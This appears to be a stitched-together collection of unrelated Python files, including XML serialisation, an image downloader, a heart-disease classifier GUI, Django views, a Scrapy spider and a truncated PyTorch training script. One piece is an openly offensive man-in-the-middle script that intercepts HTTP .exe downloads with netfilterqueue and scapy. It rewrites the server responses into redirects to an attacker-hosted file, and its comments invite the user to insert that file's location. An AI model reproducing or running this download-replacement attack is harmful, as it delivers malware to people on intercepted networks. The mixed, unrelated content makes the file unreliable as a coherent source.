        )
)

if __name__=="__main__":
    print( travel4.xml() )

# Example 1: element Tree output
# ##############################

import xml.etree.ElementTree as XML

class Blog_E( Blog ):
    def xml( self ):
        blog= XML.Element( "blog" )
        title= XML.SubElement( blog, "title" )
        title.text= self.title
        title.tail= "\n"
        entities= XML.SubElement( blog, "entries" )
        entities.extend( c.xml() for c in self.entries )
        blog.tail= "\n"
        return blog

class Post_E( Post ):
    def xml( self ):
        post= XML.Element( "entry" )
        title= XML.SubElement( post, "title" )
        title.text= self.title
        date= XML.SubElement( post, "date" )
        date.text= str(self.date)
        tags= XML.SubElement( post, "tags" )
        for t in self.tags:
            tag= XML.SubElement( tags, "tag" )
            tag.text= t
        text= XML.SubElement( post, "rst_text" )
        text.text= self.rst_text
        post.tail= "\n"
        return post

travel5 = Blog_E( "Travel" )
travel5.append(
    Post_E( date=datetime.datetime(2013,11,14,17,25),
        title="Hard Aground",
        rst_text="""Some embarrassing revelation. Including ☹ and ⚓""",
        tags=("#RedRanger", "#Whitby42", "#ICW"),
        )
)
travel5.append(
    Post_E( date=datetime.datetime(2013,11,18,15,30),
        title="Anchor Follies",
        rst_text="""Some witty epigram. Including < & > characters.""",
        tags=("#RedRanger", "#Whitby42", "#Mistakes"),
        )
)

if __name__=="__main__":
    tree= XML.ElementTree( travel5.xml() )
    text= XML.tostring(tree.getroot())
    print( text )

import ast
if __name__=="__main__":
    doc= XML.parse( io.StringIO(text.decode('utf-8')) )
    xml_blog= doc.getroot()
    blog= Blog( xml_blog.findtext('title') )
    for xml_post in xml_blog.findall('entries/entry'):
        tags= [t.text for t in xml_post.findall( 'tags/tag' )]
        post= Post(
            date= datetime.datetime.strptime(
                xml_post.findtext('date'), "%Y-%m-%d %H:%M:%S"),
            title=xml_post.findtext('title'),
            tags=tags,
            rst_text= xml_post.findtext('rst_text')
         )
        blog.append( post )
    render( blog )


# coding:utf-8
import os
import time
import requests
from PIL import Image
from io import BytesIO

def down_img(img_url, img_path=None, img_name=None):
    """
    :param img_url: 图片下载链接
    :param img_path: 图片下载路径(默认当前路径img下)
    :param img_name: 图片名称(默认当前时间戳)
    :return: 下载路径及名称
    """
    if not img_path:
        img_path = 'img'
    if not os.path.exists(img_path):
        os.makedirs(img_path)
    if not img_name:
        img_type = '.' + img_url.split('.')[-1]
        img_name = str(int(time.time())) + img_type

    image = Image.open(BytesIO(requests.get(img_url).content))
    image.save(os.path.join(img_path, img_name))
    return img_path

if __name__ == '__main__':
    url_list = [
        'http://img.jyeoo.net/quiz/images/201710/251/5ca671c3.png',
        'http://img.jyeoo.net/quiz/images/201708/35/0fdddd9d.png',
        'http://img.jyeoo.net/quiz/images/201710/201/c026891a.png',
        'http://img.jyeoo.net/quiz/images/201710/201/b838f059.png',
        'http://img.jyeoo.net/quiz/images/201710/163/be3625cc.png',
        'http://img.jyeoo.net/quiz/images/201710/145/bf39ca39.png',
        'http://img.jyeoo.net/quiz/images/201710/198/01a510f7.png',
    ]
    for u in url_list:
        url = u
        path = "/".join(url.split("/")[3:-1])
        name = url.split("/")[-1]
        print(down_img(url, path, name))


#!/usr/bin/env python

import netfilterqueue                                       #library to access the queue that is stored using iptables.
import scapy.all as scapy

ack_list=[]                                                 #creating a list.

def process_packet(packet):
   scapy_packet=scapy.IP(packet.get_payload())              #wrapping the payload of the packet into IP layer of the scapy packet.
                                                            #this is done to convert the packet into a scapy packet which is easy to interacy with.
   if scapy_packet.haslayer(scapy.Raw):                     #using the haslayer function to check raw layer in response packet

     if scapy_packet[scapy.TCP].dport == 80:                #to check if the packet is a HTTP request
            if ".exe" in scapy_packet[scapy.Raw].load and "rarlab" not in scpay_packet[scapy.Raw].load:      #checking for exe in the raw.load attrubute in the packet
                                                            #rarlab is the name of the download that i want to replace with. making sure that he didn't request for the same file.
               ack_list.append(scapy_packet[scapy.TCP].ack)                                                  #storing the acknowledgement packet.
               print("[+] exe request found")

     elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ack_list:     #if seq number and the ack number of the get request packet matches
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print("[+] replacing file")
                scapy_packet[scapy.Raw].load="HTTP/1.1 301 Moved Permanently\nLocation: https://rarlab/rar.exe\n\n"   #insertin the url of the your download file location that should be on a hosted service in the internet.
                                                                                #enter your file location\n\n
                del scapy_packet[scapy.IP].len              # all these should be deleted because it contains the data of the original response.
                del scapy_packet[scapy.IP].chksum           # but scapy automatically calculates the fields according to the updated value.
                del scapy_packet[scapy.TCP].chksum
                packet.set_payload(str(scapy_packet))
                print(scapy_packet.show())                  #it shows the actual content in the packets.

   packet.accept()

queue = netfilterqueue.NetfilterQueue()                     #creating an instance of netfilterqueue object
queue.bind(1,process_packet)                                #bind is a method from NetfilteQueue object.
                                                            # it is used to add the existing iptables list that is created; to the queue instance that we have created.
                                                            #"1" is the name of the list that we store the iptables content.
                                                            # process_packet is the call back functionfunction that gets executed for the each packet.
queue.run()                                                 #to run the queue that is created.

#COMMENTS
#attacker needs to be man in the middle and


import pandas as pd
import numpy as np
import datetime
import matplotlib
matplotlib.use("TkAgg")
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.metrics import roc_curve
from keras.models import Sequential
from keras.layers import Dense
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler
from sklearn import preprocessing
from sklearn import metrics
from keras import optimizers
from tkinter import Tk,StringVar,Entry,Button,Label,Frame
from tkinter.ttk import Labelframe
from tkinter import Tk,StringVar,Entry,Button,Label,Frame,ttk
from tkinter import messagebox

np.random.seed(int(datetime.datetime.now().microsecond))

df = pd.read_csv("heartModified(thalDiv).csv")
dfgraf=pd.read_csv("heart.csv")
print(df.info())
print('')

print(df.describe())
print('')

print(df.head(10))
print('')

#Normalizando datos
X = df.loc[:,['age','sex','cp0','cp1','cp2','cp3','trestbps','chol','fbs','restecg','thalach','exang','oldpeak','slope0','slope1','slope2','ca','thal1','thal2','thal3']]
X['age'] = (X['age'] - 25)/(80-25)
X['trestbps'] = (X['trestbps'] - 90)/(200-90)
X['chol'] = (X['chol'] - 125)/(570-125)
X['thalach'] = (X['thalach'] - 70)/(205-70)
X['oldpeak'] = (X['oldpeak'] - 0)/(6.2-0)
X['ca'] = (X['ca'] - 0)/(4-0)

#Vector de salida deseada
y = df.loc[:,'target']

# Se conforman los patrones de entrenamiento:
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

#Se crea el modelo
model = Sequential()
model.add(Dense(units=11, activation='sigmoid', input_dim=20))
model.add(Dense(units=11, activation='sigmoid'))
model.add(Dense(units=1, activation='sigmoid'))

#Se entrena el modelo
print("Training model...")
sgd = optimizers.SGD(lr=0.4)
model.compile(loss='mean_squared_error', optimizer=sgd)
model.fit(X, y, epochs=3000, verbose=False)

print("")
print("Training Done")

#Se preba el modelo con lo restante de la base de datos
y_pred = model.predict(X_test)
ac = metrics.accuracy_score(y_test, y_pred.round())
print("accuaracy:",ac)

class App:
    def __init__(self,master,model):
        self.model = model
        self.master = master
        self.master.title('RN para enf. cardiovasculares')
        #self.master.resizable(0,0)

        self.edad = StringVar()
        self.sexo = StringVar()
        self.cp = StringVar()
        self.trestbps = StringVar()
        self.chol = StringVar()
        self.fbs = StringVar()
        self.restecg = StringVar()
        self.thalach = StringVar()
        self.exang = StringVar()
        self.oldpeak = StringVar()
        self.slope = StringVar()
        self.ca = StringVar()
        self.thal = StringVar()

        frm = Frame(master = self.master)
        frm.pack()

        self.lblFrame = Labelframe(frm,text='Datos a ingresar')
        self.lblFrame.pack(side='top')
        self.lblFrame2 = Labelframe(frm,text = 'Asignamos datos')
        self.lblFrame2.pack(side='top')
        ##################### Histograma
        self.variable=StringVar()
        self.lblFrame3 = Labelframe(frm,text='Graficos')
        self.lblFrame3.pack(side='top')

        self.lblvariable = Label(self.lblFrame3,text = 'Variable: ',width=25)
        self.combovariable = ttk.Combobox(self.lblFrame3, values=['Edad','Sexo','Tipo de dolor de pecho','Presion sanguinea en reposo (mmHg)',
         'Colesterol (mg/dl)','Nivel de azucar en la sangre en ayuno',
         'Resultados electrocadriograficos', 'Frecuencia cardiaca maxima (bpm)',
         'Angina inducido por ejericio','Depresion del segmento ST (mm)','Pendiente del segmento ST',
         'Numero de vasos principales coloreados por fluoroscopia','Talasemia','Enfermo del corazon'],textvariable=self.variable,width=17)

        self.ButtonHistograma = Button(self.lblFrame3,text = 'Histograma',command = self.Histograma)

        self.lblvariable.grid(row=0,column = 0)
        self.combovariable.grid(row=0,column=1)
        self.ButtonHistograma.grid(row=1,column=1)

        #################### Relacion

        self.compo1=StringVar()
        self.compo2=StringVar()
        self.lblcompo1 = Label(self.lblFrame3,text = 'Componente 1: ',width=25)
        self.lblcompo2 = Label(self.lblFrame3,text = 'Componente 2: ',width=25)
        self.combocompo1 = ttk.Combobox(self.lblFrame3, values=['Edad','Sexo','Tipo de dolor de pecho','Presion sanguinea en reposo (mmHg)',
         'Colesterol (mg/dl)','Nivel de azucar en la sangre en ayuno',
         'Resultados electrocadriograficos', 'Frecuencia cardiaca maxima (bpm)',
         'Angina inducido por ejericio','Depresion del segmento ST (mm)','Pendiente del segmento ST',
         'Numero de vasos principales coloreados por fluoroscopia','Talasemia'],textvariable=self.compo1,width=17)
        self.combocompo2 = ttk.Combobox(self.lblFrame3, values=['Edad','Sexo','Tipo de dolor de pecho','Presion sanguinea en reposo (mmHg)',
         'Colesterol (mg/dl)','Nivel de azucar en la sangre en ayuno',
         'Resultados electrocadriograficos', 'Frecuencia cardiaca maxima (bpm)',
         'Angina inducido por ejericio','Depresion del segmento ST (mm)','Pendiente del segmento ST',
         'Numero de vasos principales coloreados por fluoroscopia','Talasemia'],textvariable=self.compo2,width=17)

        self.ButtonRelacion = Button(self.lblFrame3,text = 'Relacion',command = self.Relacion)

        self.lblcompo1.grid(row=3,column = 0)
        self.lblcompo2.grid(row=4,column = 0)
        self.combocompo1.grid(row=3,column=1)
        self.combocompo2.grid(row=4,column=1)
        self.ButtonRelacion.grid(row=5,column=1)
        ########################
        self.lbledad = Label(self.lblFrame,text = 'Edad(25-80 años):',width=25)
        self.lblsexo = Label(self.lblFrame,text='Sexo:',width=25)
        self.lblcpselec = Label(self.lblFrame,text = 'Tipo dolor de pecho:',width=25)
        self.lbltrestbps = Label(self.lblFrame,text = 'Pres.sang.Reposo(90-200 mmHg):',width=25)
        self.lblchol = Label(self.lblFrame,text = 'Colesterol(125-570 mg/dl):',width=25)
        self.lblfbs = Label(self.lblFrame,text = 'Nivel Azucar en Ayuno:',width=25)
        self.lblrestecg = Label(self.lblFrame,text = 'ECG en reposo:',width=25)
        self.lblthalach = Label(self.lblFrame,text = 'Max.Ritmo.Card(70-205 bpm):',width=25)
        self.lblexang = Label(self.lblFrame,text = 'Dolor pecho x ejercicio:',width=25)
        self.lbloldpeak = Label(self.lblFrame,text = 'Depresion ST x ejerc.(0-6.2%):',width=25)
        self.lblslope = Label(self.lblFrame,text = 'Pendiente de depresion ST:',width=25)
        self.lblca = Label(self.lblFrame,text = '#Vasos col. x fluorosc.(0-4):',width=25)
        self.lblthal = Label(self.lblFrame,text = 'Talasemia:',width=25)

        self.Entryedad = Entry(self.lblFrame,width=20,textvariable = self.edad)
        self.combosexo = ttk.Combobox(self.lblFrame, values=['Masculino','Femenino'],textvariable=self.sexo,width=17)
        self.combocp = ttk.Combobox(self.lblFrame, values=['Angina','Angina Atípica','Dolor no anginoso','Asintomático'],textvariable=self.cp,width=17)
        self.Entrytrestbps = Entry(self.lblFrame,width=20,textvariable = self.trestbps)
        self.Entrychol = Entry(self.lblFrame,width=20,textvariable = self.chol)
        self.combofbs = ttk.Combobox(self.lblFrame, values=['< 120mg/dl','> 120mg/dl'],textvariable=self.fbs,width=17)
        self.comborestecg = ttk.Combobox(self.lblFrame, values=['Normal','Onda ST-T anormal'],textvariable=self.restecg,width=17)
        self.Entrythalach = Entry(self.lblFrame,width=20,textvariable = self.thalach)
        self.comboexang = ttk.Combobox(self.lblFrame, values=['No','Sí'],textvariable=self.exang,width=17)
        self.Entryoldpeak = Entry(self.lblFrame,width=20,textvariable = self.oldpeak)
        self.comboslope = ttk.Combobox(self.lblFrame, values=['Positiva','Plana','Negativa'],textvariable=self.slope,width=17)
        self.Entryca = Entry(self.lblFrame,width=20,textvariable = self.ca)
        self.combothal = ttk.Combobox(self.lblFrame, values=['Normal','Fixed defect','Reversable defect'],textvariable=self.thal,width=17)

        self.ButtonAsig = Button(self.lblFrame2,text = 'Asignamos Valores',command = self.Asignamos)
        self.ButtonAsig.grid()
        self.lbledad.grid(row=0,column = 0)
        self.lblsexo.grid(row=1,column = 0)
        self.lblcpselec.grid(row=2,column = 0)
        self.lbltrestbps.grid(row=3,column = 0)
        self.lblchol.grid(row=4,column = 0)
        self.lblfbs.grid(row=5,column = 0)
        self.lblrestecg.grid(row=6,column = 0)
        self.lblthalach.grid(row=7,column = 0)
        self.lblexang.grid(row=8,column = 0)
        self.lbloldpeak.grid(row=9,column = 0)
        self.lblslope.grid(row=10,column = 0)
        self.lblca.grid(row=11,column = 0)
        self.lblthal.grid(row=12,column = 0)

        self.Entryedad.grid(row=0,column = 1,padx=10)
        self.combosexo.grid(row=1,column=1)
        self.combocp.grid(row=2,column=1)
        self.Entrytrestbps.grid(row=3,column = 1)
        self.Entrychol.grid(row=4,column = 1)
        self.combofbs.grid(row=5,column=1)
        self.comborestecg.grid(row=6,column=1)
        self.Entrythalach.grid(row=7,column = 1)
        self.comboexang.grid(row=8,column=1)
        self.Entryoldpeak.grid(row=9,column = 1)
        self.comboslope.grid(row=10,column=1)
        self.Entryca.grid(row=11,column = 1)
        self.combothal.grid(row=12,column=1)

    def Relacion(self):
        if(self.compo1.get()=="Edad"): variable_2="age";
        elif(self.compo1.get()=="Sexo"): variable_2="sex";
        elif(self.compo1.get()=="Tipo de dolor de pecho"): variable_2="cp";
        elif(self.compo1.get()=="Presion sanguinea en reposo (mmHg)"): variable_2="trestbps";
        elif(self.compo1.get()=="Colesterol (mg/dl)"): variable_2="chol";
        elif(self.compo1.get()=="Nivel de azucar en la sangre en ayuno"): variable_2="fbs";
        elif(self.compo1.get()=="Resultados electrocadriograficos"): variable_2="restecg";
        elif(self.compo1.get()=="Frecuencia cardiaca maxima (bpm)"): variable_2="thalach";
        elif(self.compo1.get()=="Angina inducido por ejericio"): variable_2="exang";
        elif(self.compo1.get()=="Depresion del segmento ST (mm)"): variable_2="oldpeak";
        elif(self.compo1.get()=="Pendiente del segmento ST"): variable_2="slope";
        elif(self.compo1.get()=="Numero de vasos principales coloreados por fluoroscopia"): variable_2="ca";
        elif(self.compo1.get()=="Talasemia"): variable_2="thal";

        if(self.compo2.get()=="Edad"): variable_3="age";
        elif(self.compo2.get()=="Sexo"): variable_3="sex";
        elif(self.compo2.get()=="Tipo de dolor de pecho"): variable_3="cp";
        elif(self.compo2.get()=="Presion sanguinea en reposo (mmHg)"): variable_3="trestbps";
        elif(self.compo2.get()=="Colesterol (mg/dl)"): variable_3="chol";
        elif(self.compo2.get()=="Nivel de azucar en la sangre en ayuno"): variable_3="fbs";
        elif(self.compo2.get()=="Resultados electrocadriograficos"): variable_3="restecg";
        elif(self.compo2.get()=="Frecuencia cardiaca maxima (bpm)"): variable_3="thalach";
        elif(self.compo2.get()=="Angina inducido por ejericio"): variable_3="exang";
        elif(self.compo2.get()=="Depresion del segmento ST (mm)"): variable_3="oldpeak";
        elif(self.compo2.get()=="Pendiente del segmento ST"): variable_3="slope";
        elif(self.compo2.get()=="Numero de vasos principales coloreados por fluoroscopia"): variable_3="ca";
        elif(self.compo2.get()=="Talasemia"): variable_3="thal";

        plt.figure()
        plt.scatter(x=dfgraf[variable_2][dfgraf.target==1],y=dfgraf[variable_3][dfgraf.target==1],c='green')
        plt.scatter(x=dfgraf[variable_2][dfgraf.target==0],y=dfgraf[variable_3][dfgraf.target==0],c='red')
        plt.xlabel(self.compo1.get())
        plt.ylabel(self.compo2.get())
        plt.legend(['Enfermo','No Enfermo'])
        plt.show()

    def Histograma(self):
        if(self.variable.get()=="Edad"): variable_1="age";
        elif(self.variable.get()=="Sexo"): variable_1="sex";
        elif(self.variable.get()=="Tipo de dolor de pecho"): variable_1="cp";
        elif(self.variable.get()=="Presion sanguinea en reposo (mmHg)"): variable_1="trestbps";
        elif(self.variable.get()=="Colesterol (mg/dl)"): variable_1="chol";
        elif(self.variable.get()=="Nivel de azucar en la sangre en ayuno"): variable_1="fbs";
        elif(self.variable.get()=="Resultados electrocadriograficos"): variable_1="restecg";
        elif(self.variable.get()=="Frecuencia cardiaca maxima (bpm)"): variable_1="thalach";
        elif(self.variable.get()=="Angina inducido por ejericio"): variable_1="exang";
        elif(self.variable.get()=="Depresion del segmento ST (mm)"): variable_1="oldpeak";
        elif(self.variable.get()=="Pendiente del segmento ST"): variable_1="slope";
        elif(self.variable.get()=="Numero de vasos principales coloreados por fluoroscopia"): variable_1="ca";
        elif(self.variable.get()=="Talasemia"): variable_1="thal";

        pd.crosstab(dfgraf[variable_1],dfgraf["target"]).plot(kind="bar",figsize=(10,5),color=['#11A5AA','#AA1190' ])
        plt.xlabel(self.variable.get())
        plt.xticks(rotation = 0)
        plt.ylabel("Frecuencia")
        plt.legend(['No enfermo','Enfermo'])
        plt.show()
#        plt.figure()
#        plt.hist([dfgraf["target"],dfgraf[variable_1]],color=['red','green'])
#        plt.show()

    def Asignamos(self):
        if(self.sexo.get() == "Masculino"): l_sexo = 1
        else: l_sexo = 0

        if(self.cp.get() == "Angina"): l_cp0 = 1; l_cp1 = 0; l_cp2 = 0; l_cp3 = 0
        elif(self.cp.get() == "Angina Atípica"): l_cp0 = 0; l_cp1 = 1; l_cp2 = 0; l_cp3 = 0
        elif(self.cp.get() == "Dolor no anginoso"): l_cp0 = 0; l_cp1 = 0; l_cp2 = 1; l_cp3 = 0
        elif(self.cp.get() == "Asintomático"): l_cp0 = 0; l_cp1 = 0; l_cp2 = 0; l_cp3 = 1

        if(self.fbs.get() == "> 120mg/dl"): l_fbs = 1
        else: l_fbs = 0

        if(self.restecg.get() == "Normal"): l_restecg = 0
        else: l_restecg = 1

        if(self.exang.get() == "Sí"): l_exang = 1
        else: l_exang = 0

        if(self.slope.get() == "Positiva"): l_slope0 = 1; l_slope1 = 0; l_slope2 = 0
        elif(self.slope.get() == "Plana"): l_slope0 = 0; l_slope1 = 1; l_slope2 = 0
        elif(self.slope.get() == "Negativa"): l_slope0 = 0; l_slope1 = 0; l_slope2 = 1

        if(self.thal.get() == "Normal"): l_thal0 = 1; l_thal1 = 0; l_thal2 = 0
        elif(self.thal.get() == "Fixed defect"): l_thal0 = 0; l_thal1 = 1; l_thal2 = 0
        elif(self.thal.get() == "Reversable defect"): l_thal0 = 0; l_thal1 = 0; l_thal2 = 1

        dft = pd.DataFrame({"age":[(int(self.edad.get())-25)/(80-25)],
                   "sex":[l_sexo],
                   "cp0":[l_cp0],
                   "cp1":[l_cp1],
                   "cp2":[l_cp2],
                   "cp3":[l_cp3],
                   "trestbps":[(int(self.trestbps.get()) - 90)/(200-90)],
                   "chol":[(int(self.chol.get()) - 125)/(570-125)],
                   "fbs":[l_fbs],
                   "restecg":[l_restecg],
                   "thalach":[(int(self.thalach.get()) - 70)/(205-70)],
                   "exang":[l_exang],
                   "oldpeak":[(float(self.oldpeak.get()) - 0)/(6.2-0)],
                   "slope0":[l_slope0],
                   "slope1":[l_slope1],
                   "slope2":[l_slope2],
                   "ca":[(int(self.ca.get()) - 0)/(4-0)],
                   "thal1":[l_thal0],
                   "thal2":[l_thal1],
                   "thal3":[l_thal2]})
        print("")
        print("Datos Ingresados:")
        print(dft)
        y_test_pred = self.model.predict(dft)
        if (round(y_test_pred[0][0]) == 1): res = "Enfermedad Cardiovascular"
        else: res = "Paciente Sano"
        messagebox.showinfo("Predicción", res)
        print("Output:",y_test_pred[0][0])

root = Tk()
app = App(root,model)
root.mainloop()


import setuptools

with open("README.md", "r") as fh:
    long_description = fh.read()

setuptools.setup(
    name="nearup",  # Replace with your own username
    version="0.1.2",
    author="Near Inc",
    author_email="hello@near.org",
    description="Public scripts to launch near blockchain nodes",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/near/nearup",
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "Development Status :: 3 - Alpha", "Intended Audience :: Developers",
        "Intended Audience :: System Administrators",
        "License :: OSI Approved :: BSD License",
        "Operating System :: MacOS :: MacOS X",
        "Operating System :: POSIX :: Linux", "Topic :: System :: Clustering",
        "Topic :: System :: Distributed Computing",
        "Topic :: System :: Installation/Setup",
        "Topic :: System :: Systems Administration",
        "Topic :: System :: Networking"
    ],
    install_requires=[],
    python_requires='>=3.6',
    # scripts=['nearup'] # Intentionally no scripts, use as lib only if installed from pypi
)


# -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from haha.items import HahaItem

class DoubanSpider(CrawlSpider):
    name = 'douban'
    start_urls = ['https://movie.douban.com/subject/3011091/']

    rules = (
        Rule(LinkExtractor(allow='https://movie.douban.com/subject/\d+/\?from=subject-page'), callback='parse_item', follow=1),
    )

    def parse_item(self, response):
        yield HahaItem({
            'url': response.url,
            'name': response.xpath('//span[@property="v:itemreviewed"]/text()').extract_first(),
            'summary': response.xpath('//span[@property="v:summary"]/text()').extract_first(),
            'score': response.xpath('//strong[@property="v:average"]/text()').extract_first()
        })


import viz
viz.go()

##############################################
#
##Add a model.
#balloon = viz.add( 'art/balloon.ive' )
##Set the position of the balloon.
#balloon.setPosition( 0, 1.8, 1  )
##
#
#
################################

#Add an empty array for the balloons.
balloons = []

#Use a loop to add 3 balloons to the world.
for i in [-1,0,1]:
	#Add a model.
	balloon = viz.add( 'art/balloon.ive' )
	#Set the position of the balloon.
	balloon.setPosition( i, 1.8, 3  )

	#Append the balloon to our array.
	balloons.append( balloon )
#
###################################################

#Change each balloon's color.
balloons[ 0 ].color( viz.GREEN )
balloons[ 1 ].color( viz.RED )
balloons[ 2 ].color( viz.BLUE )
#
#
############################################
#Define a function.
def inflate( who ):
	#Define the inflating action.
	inflate_animation = vizact.size(2,2,2)
	#Add the action to the node.
	who.addAction( inflate_animation )

#Call our function and pass it a balloon.
inflate( balloons[1] )
#

Vizard/teacher in a book code snippets (R4)/basic scripting example.py


from django.shortcuts import render,redirect, get_object_or_404
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView,RedirectView
from django.http import HttpResponse
from django.urls import reverse
from rest_framework.response import Response
from rest_framework.views import APIView
from .serializers import ProjectSerializer, ProfileSerializer
from .models import Project, Vote
from .forms import VoteForm
from users.models import Profile

# Create your views here.
def index(request):
    message = "Welcome to Prowards"

    context = {
        "message":message,
    }

    return render(request,'wards/index.html',context)

def display_profile(request,username):
    profile = Profile.objects.get(user__username= username)

    user_projects = Project.objects.filter(profile =profile).order_by('created_on')

    context={
        "profile":profile,
        "user_projects":user_projects
    }
    return render(request,'wards/profile_detail.html',context)

class ProjectListView(ListView):

    model = Project
    template_name='wards/index.html'
    context_object_name ='projects'
    ordering = ['-created_on']

class ProjectCreateView(LoginRequiredMixin,CreateView):

    model = Project
    success_url = ('/')
    fields = ['title','image','description','project_link']

    def form_valid(self,form):
        form.instance.profile = self.request.user.profile
        return super().form_valid(form)

class ProjectDetailView(DetailView):
    model = Project

class ProjectUpdateView(LoginRequiredMixin,UserPassesTestMixin,UpdateView):

    model = Project

    fields = ['title','image','description','project_link']

    def form_valid(self,form):
        form.instance.profile = self.request.user.profile
        return super().form_valid(form)

    def test_func(self):
        project = self.get_object()

        if self.request.user.profile == project.profile:
            return True

        return False

    def get_redirect_url(self,pk, *args, **kwargs):
        obj = get_object_or_404(Project, pk = pk)
        url= obj.get_absolute_url()

        return url

class ProjectDeleteView(LoginRequiredMixin,UserPassesTestMixin,DeleteView):
    model = Project
    success_url = ('/')
    def test_func(self):
        project = self.get_object()

        if self.request.user.profile == project.profile:
            return True

        return False

class UserProjectListView(ListView):
    model = Project
    template_name='wards/profile_detail.html'
    context_object_name ='projects'
    ordering = ['-created_on']

    def get_queryset(self):
        user = get_object_or_404(User, username = self.kwargs.get('username'))

        return Project.objects.filter(profile=user.profile).order_by('-created_on')

class VoteCreateView(LoginRequiredMixin,CreateView):
    model = Vote
    fields = ['design_votes', 'usability_votes', 'creativity_votes', 'content_votes']

    def dispatch(self, request, *args, **kwargs):
        """
        Overridden so we can make sure the `Project` instance exists
        before going any further.
        """
        self.project = get_object_or_404(Project, pk=kwargs['pk'])
        return super().dispatch(request, *args, **kwargs)

    def form_valid(self, form):
        form.instance.user = self.request.user
        form.instance.project = self.project
        return super().form_valid(form)

    def get_absolute_url(self):
        return reverse('', kwargs={'pk': self.pk})

class ProjectList(APIView):
    def get(self, request, format = None):
        all_projects = Project.objects.all()
        serializers = ProjectSerializer(all_projects, many = True)
        return Response(serializers.data)

class ProfileList(APIView):
    def get(self, request, format = None):
        all_profiles = Profile.objects.all()
        serializers = ProfileSerializer(all_projects, many = True)
        return Response(serializers.data)

def search_results(request):
    if 'search_project' in request.GET and request.GET["search_project"]:
        search_term = request.GET.get("search_project")
        searched_projects = Project.objects.filter(title__icontains=search_term)
        message=search_term
        return render(request, "wards/search.html", {"projects":searched_projects, "message":message})

    else:
        message = "Search term not found"

        return render(request,'wards/search.html',{"message":message})


import argparse
import sys

import numpy as np
import os.path
import pandas as pd
import torch
from torch.backends import cudnn
from torch.utils.data import DataLoader
from tqdm import tqdm

from lib.torch.common import show_landmarks_batch, count_parameters
from lib.torch.datasets.Inria import INRIA
from lib.torch.datasets.coco import COCO
from lib.torch.datasets.dsb2018 import DSB2018, DSB2018Sliced
from lib.torch.models import linknet, albunet, unet16, unet11
from lib.torch.models.duc_hdc import ResNetDUCHDC, ResNetDUC
from lib.torch.models.factorized_unet11 import FactorizedUNet11
from lib.torch.models.gcn import GCN
from lib.torch.models.psp_net import PSPNet
from lib.torch.models.seg_net import SegCaps, SegCapsLoss
from lib.torch.models.tiramisu import FCDenseNet67
from lib.torch.models.unet import UNet, FactorizedUNet
from lib.torch.models.zf_unet import ZF_UNET
from lib.torch.torch_losses import DiceLoss, BCEWithLogitsLossAndJaccard, JaccardLoss, JaccardScore

tqdm.monitor_interval = 0  # Workaround for https://github.com/tqdm/tqdm/issues/481

def get_dataset(dataset_name, dataset_dir, grayscale, patch_size):
    dataset_name = dataset_name.lower()

    if dataset_name == 'coco':
        return COCO(dataset_dir, grayscale, patch_size)

    if dataset_name == 'inria':
        return INRIA(dataset_dir, grayscale, patch_size)

    if dataset_name == 'dsb2018':
        return DSB2018Sliced(dataset_dir, grayscale, patch_size)

    raise ValueError(dataset_name)

def get_optimizer(optimizer_name, model_parameters, learning_rate):
    optimizer_name = optimizer_name.lower()

    if optimizer_name == 'sgd':
        return torch.optim.SGD(model_parameters, lr=learning_rate)

    if optimizer_name == 'rms':
        return torch.optim.RMSprop(model_parameters, lr=learning_rate)

    if optimizer_name == 'adam':
        return torch.optim.Adam(model_parameters, lr=learning_rate)

    raise ValueError(optimizer_name)

def get_loss(loss):
    loss = loss.lower()

    if loss == 'bce':
        return torch.nn.BCEWithLogitsLoss(), [JaccardScore()]

    if loss == 'dice':
        return DiceLoss(), [JaccardScore()]

    if loss == 'jaccard':
        return JaccardLoss(), [JaccardScore()]

    if loss == 'bce_jaccard':
        return BCEWithLogitsLossAndJaccard(jaccard_weight=1), [JaccardScore()]

    if loss == 'nlll2d':
        return torch.nn.NLLLoss2d(), []

    if loss == 'caps_loss':
        return SegCapsLoss(), [JaccardScore()]

    raise ValueError(loss)

def get_model(model_name, num_classes, patch_size):
    model_name = str.lower(model_name)

    if model_name == 'unet':
        return UNet(num_classes=num_classes)

    if model_name == 'factorized_unet':
        return FactorizedUNet(num_classes=num_classes)

    if model_name == 'unet11':
        return unet11.UNet11(num_classes=num_classes, pretrained=True)

    if model_name == 'factorized_unet11':
        return FactorizedUNet11(num_classes=num_classes, pretrained=True)

    if model_name == 'unet16':
        return unet16.UNet16(num_classes=num_classes, pretrained=True)

    if model_name == 'zf_unet':
        return ZF_UNET(num_classes=num_classes)

    if model_name == 'linknet34':
        return linknet.LinkNet34(num_classes=num_classes, pretrained=True)

    if model_name == 'albunet':
        return albunet.AlbuNet(num_classes=num_classes, pretrained=True)

    if model_name == 'tiramisu67':
        return FCDenseNet67(n_classes=num_classes)

    if model_name == 'gcn':
        return GCN(num_classes=num_classes, input_size=patch_size)

    if model_name == 'psp_net':
        return PSPNet(num_classes=num_classes, pretrained=True, use_aux=False)

    if model_name == 'seg_caps':
        return SegCaps(num_classes=num_classes)

    if model_name == 'duc':
        return ResNetDUC(num_classes=num_classes)

    if model_name == 'duc_dc':
        return ResNetDUCHDC(num_classes=num_classes)

    raise ValueError(model_name)

def run_train_session_binary(model_name: str, optimizer: str, loss, learning_rate: float, epochs: int, dataset_name: str, dataset_dir: str, experiment_dir: str,
                             experiment: str, grayscale: bool, patch_size: int, batch_size: int, workers: int, resume: bool):
    np.random.seed(42)

    trainset, validset, num_classes = get_dataset(dataset_name, dataset_dir, grayscale=grayscale, patch_size=patch_size)
    print('Train set size', len(trainset))
    print('Valid set size', len(validset))

    trainloader = DataLoader(trainset, batch_size=batch_size, shuffle=True, num_workers=workers, pin_memory=True, drop_last=True)
    validloader = DataLoader(validset, batch_size=batch_size, shuffle=False, num_workers=workers, pin_memory=True, drop_last=True)

